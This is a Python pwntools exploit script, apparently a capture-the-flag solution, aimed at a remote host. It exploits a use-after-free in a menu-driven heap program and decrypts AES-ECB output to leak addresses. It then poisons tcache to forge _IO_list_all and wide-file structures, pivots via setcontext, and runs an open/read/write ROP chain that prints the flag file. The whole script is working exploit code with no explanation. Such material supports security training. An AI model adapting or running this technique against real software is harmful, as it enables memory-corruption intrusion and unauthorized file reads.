from pwn import* from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad #io = process("./pwn") io = remote("47.94.85.95",20682) elf = ELF("./pwn") context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] libc = ELF("libc.so.6")
def debug(): gdb.attach(io) pause()
def add(idx,content): io.recvuntil(">> ") io.sendline("1") io.recvuntil("idx: ") io.sendline(str(idx)) io.recvuntil("content: ") io.send(content)
def delete(idx): io.recvuntil(">> ") io.sendline("2") io.recvuntil("idx: ") io.sendline(str(idx))
def show(idx): io.recvuntil(">> ") io.sendline("3") io.recvuntil("idx: ") io.send(str(idx))
def edit(idx,content): io.recvuntil(">> ") io.sendline("4") io.recvuntil("idx: ") io.sendline(str(idx)) io.recvuntil("content: ") io.send(content)
add(0,cyclic(0x16)) delete(0) show("0") elf_addr = u64(io.recvuntil("\x0a",drop=True)[-6:].ljust(8,b'\x00'))-0x1bf0 success("elf_addr :"+hex(elf_addr)) add(1,"a") delete(1) edit(1,cyclic(0x10)) delete(1) edit(1,b'\xa0') add(2,"a") add(3,"a"*8)
def encrypt(data, key): # 创建AES-ECB加密器 cipher = AES.new(key, AES.MODE_ECB) # 填充数据 padded_data = pad(data, AES.block_size) # 加密 encrypted_data = cipher.encrypt(padded_data) return encrypted_data
key = b"aaaaaaaa".ljust(16,b'\x00') show(0) pre_data = io.recv(16) data = encrypt(pre_data,key) heap_addr = data[:6] heap_addr = u64(heap_addr.ljust(8,b'\x00'))-0x261 success("heap_addr :"+hex(heap_addr))
add(6,cyclic(0x10)) for i in range(50): add(4,"aaaa") delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x2f8)) add(4,"aaaa") add(5,p64(0x561))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x858)) add(4,"aaaa") add(4,p64(0x21))
delete(6) show(6) pre_data = io.recv(16) data = encrypt(pre_data,key) libc_addr = data[:6] libc_addr = u64(libc_addr.ljust(8,b'\x00'))-96-libc.sym['__malloc_hook']-0x10 success("libc_addr :"+hex(libc_addr)) free_hook = libc_addr + libc.sym['__free_hook'] IO_list_all = libc_addr + libc.sym['_IO_list_all']
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x20)) add(4,"aaaa") payload = b'\x00\x00\x00\x00\x07\x00\x07\x00' add(4,payload)
add(4,"aaaa") add(4,"aaaa") add(4,"aaaa") add(4,"aaaa") delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x2f8)) add(4,"aaaa") add(4,p64(0xc1))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x300)) add(4,"aaaa") add(4,"aaaa") delete(4)
add(4,"aaaa")
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x870)) add(4,"aaaa") add(10,p64(0))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x878)) add(4,"aaaa") add(4,p64(0x441))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x880)) add(4,"aaaa") add(4,"aaaa") delete(4)
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x418)) add(4,"aaaa") add(4,p64(IO_list_all-0x20)) add(4,"aaaa") IO_wfile_jumps = libc_addr + libc.sym['_IO_wfile_jumps']
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x898)) add(4,"aaaa") add(4,p64(1))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x888)) add(4,"aaaa") add(4,p64(0))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x910)) add(4,"aaaa") add(4,p64(heap_addr+0x300))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x948)) add(4,"aaaa") add(4,p64(IO_wfile_jumps))
setcontext = libc_addr + libc.sym['setcontext']+61 delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x368)) add(4,"aaaa") add(4,p64(setcontext))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x318)) add(4,"aaaa") add(4,p64(0))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x3a0)) add(4,"aaaa") add(4,p64(heap_addr+0x300+0xf0))
ret_addr = elf_addr + 0x000000000000101a delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x3a8)) add(4,"aaaa") add(4,p64(ret_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x3e0)) add(4,"aaaa") add(4,p64(heap_addr+0x300))
rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret"))) rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret"))) rdx_r12_addr = libc_addr + 0x0000000000119431 read_addr = libc_addr + libc.sym['read'] open_addr = libc_addr + libc.sym['open'] write_addr = libc_addr + libc.sym['write'] delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x3f0)) add(4,"aaaa") add(4,p64(rdi_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x600)) add(4,"aaaa") add(4,b'flag\x00\x00\x00\x00')
flag_addr = heap_addr + 0x600 delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x3f8)) add(4,"aaaa") add(4,p64(flag_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x400)) add(4,"aaaa") add(4,p64(rsi_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x410)) add(4,"aaaa") add(4,p64(open_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x418)) add(4,"aaaa") add(4,p64(rdi_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x420)) add(4,"aaaa") add(4,p64(3))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x428)) add(4,"aaaa") add(4,p64(rsi_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x430)) add(4,"aaaa") add(4,p64(heap_addr+0xb00))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x438)) add(4,"aaaa") add(4,p64(rdx_r12_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x440)) add(4,"aaaa") add(4,p64(0x100))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x448)) add(4,"aaaa") add(4,p64(0))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x450)) add(4,"aaaa") add(4,p64(read_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x458)) add(4,"aaaa") add(4,p64(rdi_addr))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x460)) add(4,"aaaa") add(4,p64(1))
delete(0) edit(0,cyclic(0x10)) delete(0) edit(0,p64(heap_addr+0x468)) add(4,"aaaa") add(4,p64(write_addr))
# gdb.attach(io,'b *_IO_wdoallocbuf+43') delete(100) # pause()
flag = io.recvuntil("}") print(flag)
|